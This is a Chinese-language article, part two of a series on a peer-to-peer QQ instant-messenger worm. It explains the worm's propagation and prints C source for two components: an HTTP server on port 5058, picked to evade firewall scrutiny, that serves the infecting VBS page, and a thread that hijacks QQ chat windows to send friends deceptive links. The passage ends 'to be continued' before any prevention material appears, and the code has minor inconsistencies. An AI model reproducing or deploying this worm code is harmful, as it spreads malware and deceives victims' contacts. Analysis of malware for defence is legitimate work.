基于P2P思想的QQ蠕虫的原理与防治(2)
二.基于P2P思想QQ蠕虫的原理
为了增强蠕虫的健壮性,这里提出一种新思路:每感染一台机器后,都会在本机创建一个最简单的http服务器,然后启动新线程,在新线程中寻找QQ的”发送消息“窗口,一旦找到,通过设置消息文本框的内容并控制”发送消息(&S)"按钮来达到发送欺骗性消息的目的。
当对方收到消息,点击连接后,就会启动IE,IE和第一台机器的http服务器通信,下载html页面并执行其中的vbs代码,vbs将自身拷贝到机器上并运行,蠕虫完成一次传播。然后在新感染的机器上创建http服务器,再向他的好友发送消息。
主要代码如下(为节约篇幅,省略不必要的初始化和错误判断):
1. http服务器的实现
LisenSocket = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
saServer.sin_family = AF_INET;
saServer.sin_port = htons(5058);
saServer.sin_addr.s_addr = INADDR_ANY;
bind(LisenSocket,(LPSOCKADDR)&saServer,sizeof(struct sockaddr));
listen(LisenSocket, SOMAXCONN);
CreateThread(0,0,(LPTHREAD_START_ROUTINE)SendQQMsg,0,0,0);
while(TRUE)
{
peerSocket=accept(LisenSocket,(LPSOCKADDR)&SockAddr,&nLen); SendFile();
}
void SendFile()
{
BYTE buf[1024];
DWORD ByteRead;
::SetFilePointer(hFile,0,0,FILE_BEGIN);
ReadFile(hFile,buf,1024,&ByteRead,0);
while(ByteRead)
{
send(peerSocket,(const char *)buf,ByteRead,0);
ReadFile(hFile,buf,1024,&ByteRead,0);
}
closesocket(peerSocket);
}
服务器在5058端口阻塞等待,不使用80,是避免防火墙对80号端口的敏感和限制。接受到来自远程的连接(由ie做客户端)后,把html文件传送过去,关闭连接。
2. 操作QQ线程的实现
1) 获得本机IP地址。
2) 等待出现“发送消息”窗口。
3) 获得这个窗口的QQ号,也就是这个好友的QQ号。判断是否已经向这个号发
送过,如果是,则转1),不是则发送,并在注册表中登记。
4) 获得文本区句柄,设置新的消息。
5) 向“发送消息(&S)"按钮发送BM_CLICK消息,发送这条信息。转1)。
DWORD WINAPI SendQQMsg(LPVOID lpParameter)
{
HKEY hKey;
char buf[256];
HWND hWnd,hTextWnd,hWndQQNumber,hWndButton;
char QQRoot[]= "Software\\QQNums\\";
char QQRootNumber[128];
int QQNumberID=0x0DF;
POINT p={50,280};
struct hostent * lpHostEnt;
char szLocalIP[30]; //形如_blank>http://202.118.224.2:5058
gethostname(buf,256);
lpHostEnt = ::gethostbyname (buf);
struct in_addr *ia=(struct in_addr *)lpHostEnt->h_addr;
::lstrcpy(szLocalIP,"_blank>http://");
::lstrcat(szLocalIP,inet_ntoa(*ia));
::lstrcat(szLocalIP,":5058");
while(TRUE)
{
::Sleep(1000);
hWnd = ::FindWindow(0,"发送消息");
if(hWnd==NULL)
continue;
hWndQQNumber=::GetDlgItem(hWnd,QQNumberID);
if(hWndQQNumber==NULL)
continue;
::SendMessage(hWndQQNumber,WM_GETTEXT,256,(long)buf);
::lstrcpy(QQRootNumber,QQRoot);
::lstrcat(QQRootNumber,buf);
if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,QQRootNumber,0,
KEY_QUERY_VALUE,&hKey)!=ERROR_SUCCESS)
{
RegCreateKey(HKEY_LOCAL_MACHINE,QQRootNumber,&hKey);
hTextWnd = ::ChildWindowFromPointEx(hWnd,p,CWP_SKIPINVISIBLE);
::SendMessage(hTextWnd,WM_SETTEXT,30,(long)szLocalIP);
hWndButton = FindWindowEx(hWnd,0,0,"送讯息(&S)");
::SendMessage(hButton,BM_CLICK,0,0);
}
}
return 1;
}(未完待续)
|